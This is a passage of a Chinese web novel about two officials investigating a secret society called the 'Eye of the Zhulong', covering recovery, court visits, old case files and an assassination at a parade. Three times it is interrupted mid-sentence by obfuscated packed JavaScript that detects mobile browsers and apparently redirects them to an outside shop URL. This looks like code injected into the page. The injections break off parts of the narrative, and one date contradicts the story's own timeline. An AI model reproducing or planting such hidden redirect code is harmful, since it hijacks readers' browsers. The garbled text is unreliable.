正想着，房门被轻轻推开。谢云辞端着一个托盘走进来，托盘上放着一碗药和几样清淡的早膳。他已经换上了一身墨蓝色的常服，头发用玉簪束起，神色看起来比昨日精神许多。 “醒了？”谢云辞将托盘放在桌上，走到床边，“感觉如何？” “好多了，”江清砚撑着想坐起来，谢云辞连忙扶他，动作熟练自然，“你不用上值？” “陛下准了我半个月的假，”谢云辞在他背后垫好软枕，“周尚书也说了，让你好好休养，刑部的事不急。” 江清砚点点头，接过谢云辞递来的药碗。药还是苦的，但他已经习惯，眉头都没皱一下就喝完了。 谢云辞递来蜜饯，江清砚摇头:“不用，苦惯了。” “……”谢云辞看着他平静的侧脸，心中涌起一股酸涩。这个人，到底经历过多少事，才能对苦痛如此习以为常？ 早膳是小米粥、蒸蛋羹和几样酱菜，都是易消化、对脾胃好的食物。江清砚安静地吃着，谢云辞就坐在一旁看着，不时提醒他“慢点”“小心烫”。 “我又不是小孩子。”江清砚无奈。 “你现在比小孩子还脆弱。”谢云辞说得理直气壮。 吃完早膳，江清砚感觉精神确实好了许多。他看着窗外明媚的阳光，再次提出:“我想去院子里坐坐。” 谢云辞这次没再反对，而是拿来一件厚实的披风，仔细给他系好，又检查了一遍他脚上的棉袜是否穿好，这才扶他起身。 “我自己能走。”江清砚抗议。 “我知道，”谢云辞嘴上应着，手却没松开，“但我想扶着你。” 江清砚看了他一眼，终究没再说什么。 院子里，那棵老槐树下已经摆好了躺椅，椅子上铺着厚厚的软垫，旁边的小几上放着茶壶和几本书籍。显然是谢云辞提前准备好的。 “你倒是想得周到。”江清砚在躺椅上坐下，阳光透过枝叶洒在身上，暖洋洋的。 “你的事，我自然要上心。”谢云辞在他身边的石凳上坐下，开始沏茶。 茶是上好的龙井，水是清晨采集的露水。谢云辞的动作行云流水，显然是精于此道。江清砚看着他专注的侧脸，忽然觉得这一刻很美好——没有阴谋算计，没有生死危机，只有阳光、茶香，和眼前这个人。 “你这茶艺，倒是与你的身份不符。”江清砚轻声道。 “我母亲教的，”谢云辞将沏好的茶递给他，“她出身江南书香门第，最擅茶道和琴艺。可惜我学艺不精，只学了皮毛。” 江清砚接过茶杯，抿了一口。茶汤清澈，香气清雅，入口回甘。 “很好喝。”他说。 谢云辞笑了笑，自己也端起一杯，慢慢品着。 两人就这样安静地坐着，谁也没有说话，却丝毫不觉得尴尬。阳光、微风、落叶、茶香……一切都恰到好处。 不知过了多久，江清砚忽然开口:“你母亲……她是怎么……” 他没有问完，但谢云辞明白他的意思。 “病逝的，”谢云辞的声音很平静，“在我十岁那年。她身子一直不好，父亲常年戍边，家中只有我和她。她走的时候很安详，说唯一放心不下的就是我。” 江清砚心中一痛。谢云辞说得很平淡，但他能想象，一个十岁的孩子失去母亲，父亲又不在身边，该有多难过。 “后来呢？”他问。 “后来父亲回来了，把我带在身边，”谢云辞看着杯中茶汤，“但他很忙，所以我大部分时间都是自己照顾自己。十五岁那年，他带我去北境，之后就……” 他没有说完，但江清砚知道——之后就是谢家血案，父亲惨死，他独自一人回京，入六扇门，开始追查真相。 “所以你看，”谢云辞转头看他，眼中带着淡淡的笑意，“我们其实很像。都是孤身一人，都背负着血海深仇，都在黑暗中独自走了很久。” 江清砚与他对视，忽然也笑了:“是啊，很像。所以才会相遇吧。” “不是相遇，”谢云辞纠正，“是注定要遇见。” 他的眼神温柔而笃定，江清砚的心跳漏了一拍，移开视线，耳根微热。 阳光正好，岁月静好。 但这份宁静并没有持续太久。 午时刚过，谢府来了客人。 “大人，三皇子来了，说要探望江公子。”亲卫来报时，谢云辞正在给江清砚念书——江清砚说躺着无聊，谢云辞就去书房找了本诗集来念给他听。 谢云辞眉头一皱:“三皇子？他来做什么？” 江清砚也坐直了身体:“赵元案中，三皇子不是也被牵连了吗？” “陛下申斥了他，罚了一年俸禄，”谢云辞放下书，神色凝重，“但他这么快就上门，恐怕不是单纯的探望。” “见见吧，”江清砚道，“避而不见反而显得心虚。” 谢云辞想了想，点头:“也好。你在这里等着，我去应付他。” “不，”江清砚摇头，“既然是来探望我的，自然要见。扶我起来。” 谢云辞拗不过他，只好扶他起身，又仔细检查了他的衣着，确保没有失礼之处，这才扶着他往正厅走。 正厅里，三皇子李琛正负手而立，欣赏着墙上挂着的一幅山水画。他年约二十五六，面容俊朗，穿着宝蓝色锦袍，腰系玉带，气度雍容。听到脚步声，他转过身，脸上露出恰到好处的关切之色。 “谢大人，江公子，”李琛上前两步，“听闻江公子身体不适，本宫特来探望。贸然来访，还请见谅。” “殿下言重了，”谢云辞行礼，“殿下屈尊莅临，是臣的荣幸。” 江清砚也想行礼，被李琛扶住:“江公子有伤在身，不必多礼。快请坐。” 三人分宾主落座。仆人奉上茶点后，谢云辞屏退了左右。 李琛端起茶杯，抿了一口，才缓缓开口:“赵元一案，本宫也有失察之责。若非江公子明察秋毫，揪出真凶，本宫怕是要蒙受不白之冤了。所以今日特来道谢。” 这话说得滴水不漏，既承认了自己的错误，又表达了感谢，还将自己放在了受害者的位置。 江清砚垂眸:“殿下言重了。草民只是自证清白，不敢居功。” “江公子太谦虚了，”李琛笑道，“金殿之上，你舌战群臣，逻辑缜密，胆识过人，连父皇都赞不绝口。如今擢升刑部郎中，实至名归。” 他顿了顿，话锋一转:“不过刑部事务繁杂，江公子身体未愈，恐怕不宜太过操劳。本宫认识几位名医，对心疾调理颇有心得，要不要引荐给江公子？” 谢云辞眼神一凛。这话表面是关心，实则是在打探江清砚的病情，甚至可能想在他身边安插眼线。 “谢殿下好意，”江清砚神色平静，“太医令已经为草民诊治，开了方子，正在调理中。太医令医术精湛，草民不敢再劳烦其他大夫。” 李琛眼中闪过一丝不易察觉的失望，但很快又恢复了笑容:“也是，太医令的医术，自然是信得过的。那本宫就不多此一举了。” 他又闲聊了几句，问了些无关痛痒的问题，比如江清砚的家乡、师承、在京是否习惯等等。江清砚一一作答，态度恭谨却疏离。 大约坐了半柱香时间，李琛起身告辞。 谢云辞送他到门口，李琛忽然停下脚步，低声道:“谢大人，本宫知道你们在查一些……特别的事。若有什么需要帮忙的，尽管开口。本宫虽然不才，但在朝中还有些人脉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863521|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话意味深长。 谢云辞神色不变:“谢殿下。若有需要，臣自当禀报陛下。” 李琛笑了笑，没再说什么，转身上轿离去。 回到正厅，江清砚已经站了起来，脸色有些苍白——刚才强撑了那么久，体力有些透支。 “怎么样？”谢云辞扶住他。 “没事，”江清砚摇头，“三皇子这是……来试探？” “嗯，”谢云辞扶他坐下，“赵元案虽然结了，但他心里肯定不踏实。来探望你是假，打探虚实是真。而且……”他顿了顿，“他可能已经察觉到我们在查‘烛龙之眼’了。” 江清砚蹙眉:“三皇子与‘烛龙之眼’有关？” “不确定，”谢云辞神色凝重，“但赵元案中，他确实有嫌疑。而且他刚才最后那句话，明显是在暗示什么。” 两人对视一眼，都感到一股寒意。 如果连皇子都牵扯其中，那这个组织的势力，恐怕真的深不可测。 “先不管他，”谢云辞扶起江清砚，“你该回去休息了。” 回到西厢房，江清砚确实累了，躺下没多久就睡着了。谢云辞坐在床边，看着他的睡颜，心中思绪万千。 三皇子的出现，让事情变得更加复杂。他们接下来的每一步，都必须更加小心。 接下来的几天，谢府又陆续来了几位客人——有刑部的同僚，有同年进士，甚至还有几位言官。大部分都是真心来探望的，但也不乏像三皇子那样别有用心之人。 谢云辞一一应付，既不失礼数，也不透露任何有用的信息。而江清砚大部分时间都在静养，只有精神好的时候才会见客，而且话很少，基本都是谢云辞在应对。 在谢云辞的精心照料下，江清砚的身体恢复得很快。第七天的时候，他已经能自己下床走动了，虽然还不能久站，但气色好了很多，脸上也恢复了血色。 这天傍晚，两人又在槐树下喝茶。 夕阳西下，天边晚霞如火。江清砚看着远处，忽然道:“我该去刑部报到了。” 谢云辞手中的茶杯一顿:“太医说还要再休养半个月。” “我的身体我自己清楚，”江清砚转头看他，“青木生机已经恢复了七成，心脉也稳固了。继续躺着，反而对身体不好。” 谢云辞看着他坚定的眼神，知道劝不住，只好妥协:“那明天我陪你去。” “不用，”江清砚摇头，“你也有你的事。而且……”他顿了顿，“我们现在的关系，不宜太过密切。至少在明面上。” 谢云辞明白他的意思。他们一个是六扇门指挥使，一个是刑部郎中，如果走得太近，会引起不必要的猜忌。尤其是在“烛龙之眼”可能已经注意到他们的情况下。 “那你自己小心，”谢云辞最终让步，“我会派两个人暗中保护你。” “好。”这次江清砚没有拒绝。 两人又坐了一会儿，直到夜色渐浓。 回房前，江清砚忽然停下脚步，看着谢云辞，轻声道:“这些天……谢谢你。” 谢云辞愣了一下，随即笑了:“你我之间，何必言谢。” “要谢的，”江清砚认真地说，“没有你，我可能……” 他没有说完，但谢云辞懂。 如果没有那日金銮殿上的以命相护，如果没有慈恩寺中的生死与共，如果没有这些天的悉心照料，江清砚确实可能撑不过来。 “那以后，换你照顾我。”谢云辞半开玩笑地说。 “好。”江清砚却答得认真。 谢云辞的心像是被什么击中了，柔软得一塌糊涂。他伸出手，轻轻拂开江清砚额前的碎发，动作温柔得如同对待稀世珍宝。 “早点休息，”他的声音低沉而温柔，“明天我送你出门。” “嗯。” 月光如水，洒满庭院。 两人的身影在月光下渐渐拉长，最终消失在房门后。 夜色深沉，万籁俱寂。 但在这寂静之下，暗流仍在涌动。 刑部，那个掌管天下刑名的地方，又会有什么在等待着江清砚呢？ 新的篇章，即将开始。 46. 第 46 章 第四十六章往事伤痕 刑部衙门的青砖灰瓦在晨光中显得肃穆而庄严。 江清砚穿着崭新的五品官服——深青色盘领长袍，胸前绣着白鹇补子，腰系素银带，头戴乌纱。这是他第一次以朝廷命官的身份踏入这里。 引路的书吏是个四十来岁的中年人，姓王，态度恭敬却疏离:“江郎中，这边请。您的值房已经收拾好了，就在周尚书值房的隔壁。” 穿过长长的回廊，两侧的房间里隐约传来翻阅卷宗、低声议论的声音。见到江清砚经过，不少人都投来探究的目光——有好奇，有审视，也有几分不易察觉的敌意。 江清砚目不斜视，步伐平稳，只有握在袖中的手指微微收紧。 王书吏推开一扇门:“就是这里了。您的案牍已经备好，桌上放着刑部的章程和近年积案的目录。若有需要，随时唤下官。” “有劳王书吏。”江清砚颔首。 值房不大，但收拾得很干净。一张紫檀木书案，几把椅子，靠墙是一排书架，上面整齐地码放着卷宗。书案上除了文房四宝，还有一盏灯、一个笔架，以及一本厚厚的《大周律》。 江清砚在书案后坐下，先翻开那本积案目录。目录是按年份排列的，从二十年前到今年，光是近五年的积案就有三百多件，涉及命案、贪污、舞弊、盗窃等等，包罗万象。 他看得很仔细，偶尔会用朱笔在某一行旁做标记。王书吏送茶进来时，看到他专注的侧脸，眼中闪过一丝惊讶——这位年轻的郎中，看起来是真的打算认真做事。 午时刚过，门外传来脚步声，紧接着是周尚书的声音:“江郎中可在？” 江清砚连忙起身行礼:“下官在。” 周文渊走进来，身后还跟着一位年约五十、面容清瘦的官员。周尚书笑道:“不必多礼。来，给你介绍一下，这位是刑部左侍郎，陈文远陈大人。以后你在刑部，陈大人会多关照你。” 陈文远上下打量着江清砚，目光锐利如鹰:“江郎中，久仰大名。金殿之上智破迷案，令人佩服。” “陈大人过奖。”江清砚垂眸。 “既然来了刑部，就要守刑部的规矩，”陈文远语气平淡，“积案复核虽不似缉凶查案那般凶险，却也责任重大。一纸判词，关系人命，务必慎之又慎。” “下官谨记。” 周尚书摆摆手:“陈大人，江郎中有伤在身，今日只是来熟悉环境，不必太严苛。”他又转向江清砚，“你先看着，有什么不懂的，可以问陈大人，也可以直接来找我。” “谢尚书大人。” 两人又交代了几句，便离开了。江清砚重新坐下，继续翻看目录。他发现，这些积案中，有相当一部分都标注着“线索中断”“证人失踪”“证据不足”等字样，明显是查不下去才搁置的。 而其中几件，让他格外在意。 比如七年前江南的一起灭门案，一家十三口惨死，现场留下一个眼睛形状的图腾；比如五年前北境军饷贪污案，涉案军官全部暴毙，死状诡异；再比如三年前京城富商失踪案，最后出现的地点是慈恩寺附近…… 这些案子看似毫无关联，但江清砚敏锐地察觉到，它们都有一个共同点——查着查着，线索就断了，证人不是死了就是失踪了，最后不了了之。 这不像是一般的悬案，更像是……有一只无形的手，在抹去痕迹。 他拿起朱笔，在这几件案子旁做了特殊标记。 就这样，江清砚在刑部的第一天，在翻阅卷宗中平静度过。傍晚散值时，王书吏来问是否需要将卷宗带回府，江清砚摇头:“不必，明日再看。” 走出刑部衙门时，夕阳已经西斜。一辆不起眼的青布马车停在街角，车夫是个沉默寡言的中年人——这是谢云辞安排的。 回到谢府，谢云辞已经等在门口。他穿着家常的深蓝色长衫，头发松散地束在脑后，少了几分平日的凌厉，多了几分温润。 “如何？”他迎上来，很自然地接过江清砚手中的书袋。 “还好，”江清砚边走边说，“周尚书和陈侍郎都见过了。刑部……比我想象的复杂。” 谢云辞领他进屋，桌上已经摆好了饭菜。四菜一汤，都是清淡滋补的。 “陈文远这个人，”谢云辞边给他盛汤边说，“是刑部老人，为人刻板，但还算正直。他是周尚书的左膀右臂，在刑部很有威信。他若为难你，不必硬顶，可以找周尚书。” 江清砚点头，接过汤碗:“我今天看了积案目录，发现一些有意思的案子。” 他将那几件案子简单说了，谢云辞的神色渐渐凝重起来。 “你怀疑这些案子都与‘烛龙之眼’有关？” “不确定，”江清砚用筷子轻轻拨弄着碗里的米饭，“但太巧合了。每件案子都在关键时刻断线，而且手法干净利落，不像一般的凶手或贪官能做到的。” 谢云辞沉思片刻:“明天我让六扇门调这些案子的卷宗来看看。刑部和六扇门的记录可能不一样，对照着看，或许能有新发现。” “好。” 两人安静地吃完饭，谢云辞又煮了茶。月光透过窗棂洒进来，在青石地上投下斑驳的光影。 “对了，”谢云辞忽然想起什么，“你今天在刑部，有没有听到什么……特别的消息？” 江清砚摇头:“没有。大家对我都很客气，但也保持距离。”他顿了顿，“不过……王书吏送茶时，欲言又止，似乎想说什么，但最终没说。” 谢云辞眼神一凛:“王书吏？王诚？” “好像是这个名字。” “他是刑部的老人了，在刑部待了二十年，”谢云辞压低声音，“这个人……不简单。他看似只是个书吏，但刑部大大小小的事，没有他不知道的。而且他从不站队，周尚书和陈侍郎都对他礼让三分。” 江清砚若有所思:“那他今天是想提醒我什么？” “有可能，”谢云辞点头，“明天你找机会，私下问问他。但要注意分寸，这人城府很深。” “我明白。” 夜色渐深，茶也凉了。谢云辞起身:“你累了一天，早点休息。” “等等，”江清砚叫住他，“我……想去书房看看。” 谢云辞一愣:“现在？” “嗯，”江清砚站起来，“有些事，我想弄清楚。” 谢云辞看着他坚定的眼神，知道劝不住，只好点头:“我陪你去。” 谢府的书房在正院东侧，是个独立的小院。推开门，一股书卷混合着墨香的气息扑面而来。书房很大，三面墙都是顶天立地的书架，上面密密麻麻摆满了书籍。中央是一张巨大的紫檀木书案，案上笔墨纸砚齐全，旁边还放着几卷摊开的地图。 江清砚的目光落在书架一角——那里整齐地码放着几十个木匣，每个木匣上都贴着标签，写着“谢氏卷宗”“北境军务”“六扇门密档”等字样。 “那些是……”他看向谢云辞。 “谢家旧案的卷宗，”谢云辞的声音很平静，“还有一些我这些年查到的线索。” 江清砚走过去，轻轻打开一个木匣。里面是一叠泛黄的纸张，最上面是一份血书——字迹潦草，显然是在极其痛苦的情况下写成的: “北境有变，军中混入奸细……谢家军遭伏击……吾儿云辞，速离北境，勿归……父绝笔。” 落款是“谢崇山”，谢云辞的父亲。 江清砚的手指微微颤抖。他继续往下翻，下面是北境驻军的伤亡名单、现场勘查记录、目击者证词……每一份都透着血腥和绝望。 谢家军三千精锐，在北境冰原遭遇埋伏，全军覆没。谢崇山身中十七箭，仍力战至死。事后朝廷派人调查，结论是“遭遇暴风雪，迷失方向，误入敌军埋伏区”。 但谢云辞不信。他在现场找到了不属于敌军的箭矢——那是大周军械司特制的破甲箭；他找到了谢崇山藏在靴筒里的密信，信中提到了“军中奸细”“有人通敌”；他还找到了几个侥幸生还的老兵，他们的证词支离破碎，但都指向一个事实——这是一场精心策划的谋杀。 “我查了十年，”谢云辞的声音在身后响起，平静得可怕，“所有的线索都指向朝中某位权贵，但每次快要查到关键时，证人就会死，线索就会断。就像……有一只看不见的手，在阻止我查下去。” 江清砚放下卷宗，转身看着他。月光从窗外洒进来，照在谢云辞脸上，那张平日里冷硬的脸，此刻竟透着几分脆弱。 “所以你觉得，‘烛龙之眼’可能就是那只手？”江清砚轻声问。 “嗯，”谢云辞走到书案旁，拿起另一份卷宗，“你看这个。” 那是一份关于五十年前江家灭门案的记录——不是官方的，而是谢家私下调查的。上面记载着:江家老宅被焚，全族一百三十七口，只有当时年仅十岁的江清砚因在密室读书而幸免。纵火者身份不明，现场留下了一个眼睛形状的焦痕。 “这个图腾，和我父亲密信上画的，一模一样。”谢云辞指着卷宗上的插图。 江清砚的心脏剧烈跳动起来。他接过卷宗，手指抚过那个熟悉的图腾，脑海中闪过一些破碎的画面——冲天的大火，母亲含泪将他推进密室，黑衣人在火光中穿梭，他们的面具上……似乎就有这个图案。 “我……好像记得……”他的声音有些颤抖。 “记得什么？”谢云辞握住他的手。 江清砚闭上眼睛，努力回忆。那些被刻意封存的记忆，如同潮水般涌来—— 密室的通风口很小，他透过缝隙，看到外面火光冲天。一个黑衣人站在院中，指挥着其他人搜查。那人转过身时，脸上的面具在火光中反射出诡异的光，面具的额头处，有一个眼睛形状的凸起…… “他们……在找东西，”江清砚喃喃道，“我听到他们说……‘钥匙必须找到’‘江家秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来江谢两家守护的“烛龙眠息之地”，就在北境死亡峡谷。而打开那个地方的“钥匙”，就是江家的青木玉佩和谢家的玄铁兵符。 “所以‘烛龙之眼’灭江家、杀谢家，是为了夺取这两把钥匙，”江清砚的声音发冷，“但他们没有得逞。玉佩在我这里，兵符失踪了。” “兵符可能还在北境，”谢云辞眼中燃起火焰，“我父亲可能把它藏在了某个地方。” “那我们——” “必须去北境，”谢云辞打断他，“但不是现在。你的身体还没完全好，而且……”他顿了顿，“我们必须先弄清楚，‘烛龙之眼’在朝中到底渗透到了什么程度。否则就算我们找到了兵符，拿到了钥匙，也会被他们螳螂捕蝉，黄雀在后。” 江清砚明白他的顾虑。对手在暗，他们在明，贸然行动只会自投罗网。 “那接下来怎么做？”他问。 “继续查，”谢云辞将玉佩和绢帛小心收好，“你在刑部查那些积案，我在六扇门查‘烛龙之眼’的踪迹。同时……我们要找到那块兵符的下落。” “怎么找？” 谢云辞走到书架前，取下一卷地图摊开:“这是我根据记忆画的北境地图。死亡峡谷在这里，”他指着一处，“而谢家军的驻地在这里，相距三百里。我父亲如果要把兵符藏起来，最可能藏在这两个地方之间。” 他的手指在地图上移动，最终停在一处:“这里——‘鹰嘴崖’。我父亲曾在那里驻守过三年，对那里很熟悉。而且那里地势险要，易守难攻，是个藏东西的好地方。” 江清砚看着地图上那个小小的标记，忽然道:“我想跟你一起去。” “不行，”谢云辞立刻拒绝，“北境苦寒，你的身体受不了。而且这一路凶险，我不能让你冒险。” “正因为凶险，我才要跟你一起去，”江清砚看着他，眼神坚定，“‘共生之契’让我们同生共死，你若有事，我也活不了。既然如此，不如一起面对。” 谢云辞张了张嘴，想反驳，却找不到理由。江清砚说得对，他们现在是一体的，分开反而更危险。 “而且，”江清砚补充道，“我对医术毒术的了解，或许能在关键时刻帮到你。” 谢云辞沉默良久，最终长长地叹了口气:“等你的身体完全好了再说。” 这算是……妥协了。 江清砚的嘴角微微扬起:“好。” 夜深了。 两人将卷宗重新收好，离开书房。月光如水，洒满庭院。走到西厢房门口时，谢云辞忽然停下脚步。 “清砚。” “嗯？” “谢谢你。”谢云辞的声音很轻，却很认真，“谢谢你愿意和我一起……面对这些。” 江清砚看着他，月光在他眼中映出温柔的光:“该说谢谢的是我。谢谢你……让我不再是孤身一人。” 两人对视，千言万语，尽在不言中。 风起，院中槐树的叶子沙沙作响。 前路漫漫，凶险未知。 但至少此刻，他们并肩而立，不再孤单。 47. 第 47 章 第四十七章状元游街 九月十五，秋高气爽，是钦定新科进士“游街夸官”的日子。 卯时初，天刚蒙蒙亮，京城御街两侧就已挤满了看热闹的百姓。孩童骑在父亲肩头，姑娘们挤在二楼茶座的窗边，小贩们提着篮子叫卖瓜子糖果，整条街洋溢着节日般的喜庆。 “听说今年的状元郎可不得了，金殿上舌战群臣，硬是把舞弊案给翻过来了！” “可不是嘛，还差点被刺杀，是谢指挥使替他挡的刀！” “这叫‘同命双星’，陛下亲口夸的！” 议论声此起彼伏，所有人都在期待着那位传奇状元的出现。 谢府西厢房内，江清砚正对镜整理衣冠。今日他必须穿全套的状元服——大红色锦袍，胸前绣着仙鹤补子，头戴乌纱帽，帽侧插着金花。这身装扮华贵庄重，却让他有些不自在。 “好了吗？”谢云辞推门进来，也穿着一身正式的飞鱼服，腰佩绣春刀。他上下打量着江清砚，眼中闪过毫不掩饰的惊艳，“很好看。” 江清砚耳根微热:“太过招摇了。” “今日就该招摇，”谢云辞走到他身后，伸手帮他正了正帽簪，“让天下人都看看，今年的状元郎是何等风采。” 他的动作自然亲昵，指尖不经意拂过江清砚的后颈，带来一阵微妙的战栗。江清砚垂下眼帘，没有躲开。 “时辰差不多了，”谢云辞退开一步，“我送你到御街口。按照规矩，我不能陪你游街，但我会在街边的茶楼看着。” “嗯。” 两人一前一后走出谢府，门外早已备好了两顶轿子。江清砚上了状元专用的八抬大轿，谢云辞则上了自己的青呢小轿。 轿子穿过清晨的街巷，朝着御街方向行进。江清砚坐在轿中，闭目养神，却无法平息心中的波澜。短短几个月，他从一个寒门学子，到蒙冤入狱，再到金殿昭雪，如今竟要作为状元游街……这一切，如梦似幻。 轿子停下时，外面传来礼部官员的声音:“江状元，请下轿。” 江清砚深吸一口气，掀帘而出。 御街口，另外两位新科进士——榜眼和探花已经等在那里。榜眼是个三十出头的儒雅书生，探花则是个二十来岁的俊朗青年。见到江清砚，两人都拱手行礼，神色恭敬中带着几分复杂——羡慕？敬佩？还是别的什么？ “江状元。”礼部侍郎亲自迎上来，“吉时已到，请上马。” 一匹通体雪白、配着金鞍的高头大马被牵过来。江清砚翻身上马，动作不算娴熟，但也不失风度。礼部侍郎又递过一柄金丝缠绕的马鞭，低声道:“按规矩，状元需执鞭策马，缓行御街，接受百姓瞻仰。到了午门，下马叩谢皇恩，仪式就算完成了。” “下官明白。”江清砚点头。 “那……开始吧。” 鼓乐声起。礼部的仪仗队在前开路，江清砚骑着白马走在最前面，榜眼和探花紧随其后。再后面是三百新科进士的队伍，浩浩荡荡，绵延半里。 当江清砚的身影出现在御街尽头时，整条街瞬间沸腾了。 “来了来了！” “那就是江状元？好俊的郎君！” “看他那气度，难怪陛下器重！” 欢呼声、赞叹声、甚至还有姑娘们抛来的香囊手帕，如雨点般落下。江清砚目不斜视，腰背挺直，一手执缰，一手执鞭，按照礼仪缓缓前行。阳光洒在他身上，大红锦袍熠熠生辉，帽侧金花闪烁着耀眼的光芒。 这一刻，他确实是整个京城最耀眼的存在。 街边茶楼二层的雅间里，谢云辞凭窗而立，目光紧紧追随着那个红色的身影。他身后站着两个亲卫，都是便装打扮。 “大人，街面已安排好了人手，确保安全。”一个亲卫低声道。 “嗯。”谢云辞应了一声，目光却未离开江清砚。 他看到江清砚在马上挺直的脊背，看到他平静如水的侧脸，也看到他握着缰绳的手指微微收紧——那是紧张的表现。这个看似从容的人，其实并不习惯这样的场合。 谢云辞的嘴角不自觉扬起。他忽然想起几个月前，在破庙初遇时，江清砚还是个一身青衫、温润如玉的书生。如今，他已经穿上状元袍，成为天下士子的楷模。 变化真大。 但有些东西没变——那双清澈的眼睛，那份沉静的气质，还有……骨子里的坚韧。 队伍缓缓前行，已经到了御街中段。这里人最多，欢呼声也最热烈。江清砚不得不放慢速度，几乎是在人群的簇拥下前进。 就在这时，异变突生！ 人群边缘，一个卖糖葫芦的小贩突然掀翻了摊子，从糖葫芦架下抽出一把弩箭，对准江清砚就射！ “小心！”谢云辞瞳孔骤缩，几乎要纵身跳下茶楼。 但江清砚的反应更快。 他仿佛早有预感，在马背上微微侧身，弩箭擦着他的肩膀飞过，“夺”的一声钉在身后榜眼马鞍旁的木板上。榜眼吓得脸色煞白，差点从马上摔下来。 “有刺客！” “保护状元！” 人群顿时大乱。礼部官员惊慌失措，侍卫们拔刀冲过来，但街上人太多，一时间竟挤不进去。 那小贩见一击不中，扔下弩箭就想逃。但江清砚的动作比他更快——他手中马鞭如灵蛇般甩出，精准地卷住小贩的脚踝，用力一拉！ “噗通”一声，小贩摔倒在地，被赶来的侍卫按住了。 这一切发生在电光石火之间。等众人反应过来时，刺客已经被制服，江清砚依旧端坐马上，神色平静，只是握着马鞭的手指骨节有些发白。 谢云辞在茶楼上，心脏狂跳，手心全是冷汗。他死死盯着江清砚，确认他没有受伤，才稍微松了口气。 “大人，要不要……”亲卫请示。 “不必，”谢云辞摆摆手，眼神冷了下来，“按计划行事。” 街道上，骚乱很快被控制住。礼部侍郎擦着汗跑过来:“江状元，您没事吧？要不今日先……” “继续。”江清砚打断他，声音不大，却带着不容置疑的坚定。 礼部侍郎愣了愣，看着江清砚平静的眼神，忽然明白了什么，重重点头:“继续！” 鼓乐重新响起，队伍继续前行。百姓们先是一愣，随即爆发出更热烈的欢呼——这位状元郎不仅才华横溢，胆识也非同一般！ 接下来的路程再无异状。队伍顺利抵达午门，江清砚下马，对着宫城方向三叩九拜，完成了谢恩仪式。 礼成时，已是巳时三刻。 江清砚被礼部官员引到一旁休息，谢云辞也匆匆赶了过来。 “你怎么样？”谢云辞上下打量他，确认没有受伤。 “没事，”江清砚摇头，压低声音，“刺客是冲着我来的，还是……” “冲着你，”谢云辞眼神冰冷，“但目标可能不是杀你。” 江清砚一怔。 “刚才那个刺客，在被押走前，咬破了藏在牙里的毒囊，死了，”谢云辞的声音很轻，只有两人能听见，“死前他喊了一句‘眼睛永存’。是‘烛龙之眼’的人。” 江清砚的心沉了下去。 “他们想干什么？当街刺杀状元，只会让朝廷更加警惕。” “也许这就是他们的目的，”谢云辞分析道，“制造混乱，试探朝廷的反应，也试探……你的反应。” 两人对视一眼，都明白了对方的意思。 “烛龙之眼”在向江清砚示威，也在向朝廷示威。他们在告诉所有人:我们无处不在，我们敢在御街动手。 “陛下已经知道了，”谢云辞继续说，“命我彻查。但那个刺客身上没有任何能证明身份的东西，是个‘干净’的死士。” 干净，意味着查无可查。 “先回府吧，”谢云辞环视四周，“这里人多眼杂。” 两人上了轿子，一前一后回到谢府。 刚进书房，谢云辞就屏退了左右，从怀中取出一张纸条:“这是刚才在茶楼，有人塞给我的。” 江清砚接过纸条，上面只有一行字:“欲知兵符下落，三日后子时，城西土地庙。” 字迹潦草，用的是最普通的宣纸和墨，看不出任何特征。 “你怎么看？”江清砚问。 “可能是陷阱，”谢云辞神色凝重，“也可能是……有人想借我们的手，对付‘烛龙之眼’。” “去吗？” “去，”谢云辞眼神锐利，“但要做好万全准备。” 江清砚点头，将纸条放在烛火上烧掉。纸灰飘落，如同某种不祥的预兆。 “对了，”谢云辞忽然想起什么，“游街时，我看到陈文远也在街边。” “陈侍郎？”江清砚蹙眉，“他怎么会……” “他站在一家绸缎庄门口，看似在看热闹，但目光一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863523|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在你身上，”谢云辞回忆着，“而且他的表情……很微妙，像是期待什么，又像是担心什么。” 江清砚若有所思。陈文远是刑部左侍郎，周尚书的得力助手。如果他真与“烛龙之眼”有关，那刑部内部…… “明天我去刑部，试探他一下。”江清砚道。 “小心，”谢云辞叮嘱，“陈文远是老狐狸，别让他察觉。” “我知道。” 两人又商量了一些细节，直到午时过了，仆人来请用膳。 饭桌上，气氛有些沉闷。虽然今日游街圆满结束，还抓到了一个刺客，但背后的阴影却让两人都轻松不起来。 “其实今日，你做得很好，”谢云辞忽然开口，打破了沉默，“临危不乱，反应迅速。陛下若是知道，定会更欣赏你。” 江清砚摇摇头:“我只是……本能反应。”他顿了顿，“在密室那三年，我每天都要面对各种机关和毒物，稍有不慎就会死。久而久之，就练出了这种本能。” 他说得很平淡，谢云辞的心却揪了起来。三年，一个人在黑暗的密室里，与死亡为伴……那是怎样的日子？ “都过去了，”谢云辞握住他的手，“以后，你有我。” 江清砚看着他眼中毫不掩饰的疼惜，心中一暖，轻轻回握:“嗯。” 